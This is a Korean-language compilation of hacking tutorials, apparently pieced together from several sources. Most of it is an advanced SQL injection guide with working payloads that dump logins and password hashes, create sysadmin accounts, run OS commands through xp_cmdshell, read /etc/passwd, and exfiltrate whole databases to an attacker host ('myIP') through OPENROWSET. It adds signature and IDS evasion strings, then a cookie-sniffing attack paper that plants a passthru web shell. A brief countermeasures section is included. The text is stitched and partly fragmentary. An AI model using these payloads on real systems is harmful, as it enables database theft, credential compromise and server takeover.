' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype -- |
d) 서버에서 다른 데이터베이스 질의 하기
' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) -- |
e) 데이터 베이스의 파일 위치 질의 하기
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) -- |
d) 각 DBMS별 시스템 테이블
MySQL |
MS SQL Server |
Oracle |
MS Access |
mysql.user mysql.host mysql.db |
sysobjects syscolumns systypes sysdatabases |
SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG |
MsysACEs MsysObjects MsysQueries MsysRelationships |
e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기
'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' ' from users where login>@var select @var as var into temp end -- ' or 1 in (select var from temp) -- ' ; drop table temp -- |
f) 데이터베이스에 계정 생성하기
▪ MS SQL exec sp_addlogin ' victor ', 'Pass123' exec sp_addsrvrolemember 'victor', 'sysadmin' ▪ MySQL INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123')) ▪ Access CREATE USER victor IDENTIFIED BY ' Pass123' ▪ Postgres (requires UNIX account) CREATE USER victor WITH PASSWORD ' Pass123' ▪ Oracle CREATE USER victor IDENTIFIED BY Pass123 GRANT CONNECT TO victor; GRANT RESOURCE TO victor; |
g) MS SQL Server 해쉬값 추출하기
i. 간단한 방법
SELECT name, password FROM master..sysxlogins |
ii. 패스워드 해쉬값 추출하기
SELECT password FROM master..sysxlogins |
ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.
begin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) BEGIN declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 END |
iii. 한번에 실행하는 명령어
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end – |
vi. 에러 메시지를 통해서 해쉬 값 추출하기
▪ ' and 1 in (select x from temp) -- ▪ ' and 1 in (select substring (x, 256, 256) from temp) -- ▪ ' and 1 in (select substring (x, 512, 256) from temp) -- ▪ ' drop table temp -- |
v. 패스워드 무작위 대입
▪ SQL 패스워드 크랙 스크립트 create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords |
vi. DB구조와 데이터 전송하기
만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.
Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성
'; insert into '; insert into '; insert into |
step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table2') select * from database..table2 -- |
5) OS Interaction
OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.
a) MySQL OS Interaction
i. LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1; |
ii. LOAD DATA INFILE
create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; |
iii. SELECT INTO OUTFILE
b) MS SQL OS Interaction
'; exec master..xp_cmdshell 'ipconfig > test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,256) from temp) -- '; declare @var sysname; set @var = ' |
▪ 웹 서버에서 DB에 접근 하는 구조
대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.
▪ 네트워크 연결에 접근
i. 서버 이름을 에러 메시지로 출력하기
' and 1 in (select @@servername ) -- ' and 1 in (select srvname from master..sysservers ) -- |
ii. Reverse lookups를 통해서 IP 정보 수집하기
'; exec master..xp_cmdshell 'nslookup a.com MyIP' -- |
iii. Revers ping을 통해서 IP 정보 수집하기
'; exec master..xp_cmdshell 'ping MyIP' -- |
iv. OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', |
▪ 네트워크 예비 점검
i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행
▪ Ipconfig /all ▪ Tracert myIP ▪ arp -a ▪ nbtstat -c ▪ netstat -ano ▪ route print |
ii. 네트워크 예비 점검 전체 Query
▪ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -- ▪ '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- ▪ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- ▪ ' and 1 in (select substring(x,1,255) from temp) -- ▪ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp -- |
6) OS 명령 프롬프트
i. OS로 점프하기
▪ Linux based MySQL ' union select 1, (load_file('/etc/passwd')),1,1,1; ▪ MS SQL Windows Password Creation '; exec xp_cmdshell 'net user /add victor Pass123'-- '; exec xp_cmdshell 'net localgroup /add administrators victor' -- ▪ Starting Services '; exec master..xp_servicecontrol 'start','FTP Publishing' -- |
ii. ActiveX 자동 스크립트 이용
▪ Speech example '; declare @o int, @var int |
iii. 레지스트리로부터 VNC 패스워드 찾기
▪'; declare @out binary(8) ▪' and 1 in (select cast(x as varchar) from temp) -- |
7) 확장된 효과
▪ 다른 DB서버에 연결 하기
i. MS SQL에 링크된 서버를 찾기
select * from sysservers |
ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.
iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.
▪ 링크된 서버에도 접속이 가능하다.
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') select * from master.dbo.sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_linked_sysservers') select * from LinkedServer.master.dbo.sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_linked_sysdatabases') select * from LinkedServer.master.dbo.sysdatabases |
▪ 저장된 프로시저를 통한 원격 접속 실행
만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.
insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers' insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases' |
▪ Reverse 연결을 통한 파일 업로드
▪ '; create table AttackerTable (data text) -- ▪ '; bulk insert AttackerTable -- ▪ '; exec master..xp_regwrite ▪ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' -- |
▪ SQL Injection 통한 파일 업로드
만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.
예) 간단한 SQL Injection 파일 업로드
Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.
Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.
' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000… |
Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다
입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.
1) ‘OR 1=1 “signature”우회하기
아래와 같은 문자를 삽입해서 우회 할 수 있다.
▪ ' OR 'unusual' = 'unusual' ▪ ' OR 'something' = 'some'+'thing' ▪ ' OR 'text' = N'text' ▪ ' OR 'something' like 'some%' ▪ ' OR 2 > 1 ▪ ' OR 'text' > 't' ▪ ' OR 'whatever' IN ('whatever') ▪ ' OR 2 BETWEEN 1 AND 3 |
3.3 입력 값 검증 우회 하기
▪ PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.
single quote (') double quote (") backslash (\) NUL (the NULL byte) |
▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.
i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.
▪ URL encoding ▪ Unicode/UTF-8 ▪ Hex enconding ▪ char() function |
ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.
▪ 인용 부호를 제외한 Inject (string = "%"): ' or username like char(37); ▪ 인용 부호를 제외한 Inject (string = "root"): ' union select * from users where login = char(114,111,111,116); ▪ Load files을 이용한 unions 사용 (string = "/etc/passwd"): ' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; ▪ 존재하는 파일을 체크(string = "n.ext"): ' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); |
iii. 공백을 이용한 IDS Sinature 우회
▪ UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다
▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.
▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.
'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.
iv. 주석 처리를 이용한 IDS Signature 회피
▪ /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다 ▪ UNION/**/SELECT/**/ ▪ '/**/OR/**/1/**/=/**/1 ▪ 여러 개의 필드에 걸친 Injection을 허용한다 USERNAME: ' or 1/* PASSWORD: */ =1 – |
v. 스트링 연결자를 이용한 IDS Signature 우회
▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.
▪ My SQL UNI/**/ON SEL/**/ECT ▪ Oracle '; EXECUTE IMMEDIATE 'SEL' || 'ECT ▪ MS SQL '; EXEC ('SEL' + 'ECT |
vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기
▪ 변수를 이용 ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT EXEC (@x) EXEC SP_EXECUTESQL @x ▪ 헥사를 이용 ; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x) 위의 명령어는 (‘)를 사용하지 않았다. |
4 SQL Injection 대응 방안
간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.
1) 입력 값 검증
각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.
예) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
2) 서버를 견고하게 운영하기
1. DB 최소권한의 유저로 운영하라.
2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.
3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.
4. 모든 사용자 계정의 패스워드를 강화 시켜라
5. 미리 승인된 서버의 링크를 제거 하라.
6. 사용하지 않는 네트워크 프로토콜을 제거하라.
7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.
SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.
SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.
[1] Advanced SQL Injection, (http://www.owasp.org).
출처 osiris kisec 14th
다양한 XSS 방법들을 소개합니다
일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다
이 사이트 역시 앞에 "no_"가 붙습니다
그럼 와 같은 형태는 어떻게 될까요?
아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다
Port Knowledgebase | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
List of frequently seen TCP and UDP ports and what they mean. The goal of this port table is to point to further resources for more information.
|
이 사이트와 같이 에디터를 제공하는 사이트들이 많습니다
물론 태그를 다 막으려 하니 자유도가 낮아지고, 안그러자니 장난치는 이가 많고..
다음은 DIV 태그의 특성을 이용해서 화면을 먹어버릴수가 있습니다
메인화면까지 먹어버릴수 있겠죠 ^^;
이사이트 제목에는 못들어 가지만 내용에는 역시 가능합니다 DIV태그는 막지 않았거든요
테스트 게시판에서 테스트해 보세요 width와 height를 크게주게되면 다 먹어버립니다
Automatic attack program that can be used in Cookie Sniffing by Beist Security Research Group 요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다. |
1. 개요 이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다. Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다. 그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다. |
2. 이용될 수 있는 곳 이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다. 이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다. (Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.) |
3. 기술적인 내용 먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다. 이 문서에서 설명하는 해킹 순서를 알아보겠습니다. (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) 조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다. target 의 정보는 다음과 같습니다. Target Server URL - http://beist.org/ 해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다. Hacker URL - http://beist.hackerscomputer/ (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다. test.txt <html> <script language=javascript> </head> Automatic attack program that can use in Cookie Sniffing </body>
(2) Target 서버의 CGI 자료실에 test.txt 업로드 위 파일을 Target 서버의 CGI 자료실에 업로드합니다. (Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.) 자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다. [화면1] http://beist.org/~beist/auto/index.html (메인메뉴) pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다. [화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form) 해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다. [화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지) pds_ok.html 의 소스를 보겠습니다. pds_ok.html <? echo " if(eregi("php", $file_name)) if(eregi("htm", $file_name)) if(!copy($file, "data/$file_name")) echo "http://beist.org/~beist/auto/data/$file_name save ok"; ?> test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다. test.txt URL - http://beist.org/~beist/auto/data/test.txt (3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt) 이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다. beist.txt <? /* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor if(!file_exists("./data/beist.php")) /* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의 $fp=fopen("./data/beist.php", "w"); fputs($fp, "<? passthru(\$beist); ?>"); fclose($fp); } echo " ?> 만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다. 잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다. 이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.) beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다. beist.txt URL - http://beist.org/~beist/auto/data/beist.txt
이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다. hack.php 의 진행 순서 -1- Target Server 정보 저장 hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다. [화면4] http://beist.org/~beist/auto/admin_login.html (admin login form) admin_login.html <html> [화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok) admin_loginok.html <? if($id == "admin" && $passwd == "beist") echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n"); ?> [화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu) admin_menu.html <? /* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는 if($HTTP_SESSION_VARS["id"]) echo " /* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면, if($head) /* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면 if(file_exists("./data/head.txt")) echo "<br><br>welcome to beist world"; ?> 이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다. index.html <? /* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header if(file_exists("./data/head.txt"))
index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다. 다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다. header.txt <html> 파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다. [화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정) 이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다. [화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html) index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다. hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다. 이제 본격적으로 hack.php 의 소스를 알아보겠습니다. hack.php <? /* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */ $day = date("Y.m.d", mktime()); /* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면 에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */
echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>"; /* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의. targetsession 은 cook 값. */ $total = substr($url, strlen("http://"), 100); $use = split("/", $total); $temp = "http://"; for($count=0;$count<sizeof($use)-2;$count++) $targetcgi = $temp; echo "targetcgi : $targetcgi<br>"; /* 로그 파일에 기록 */
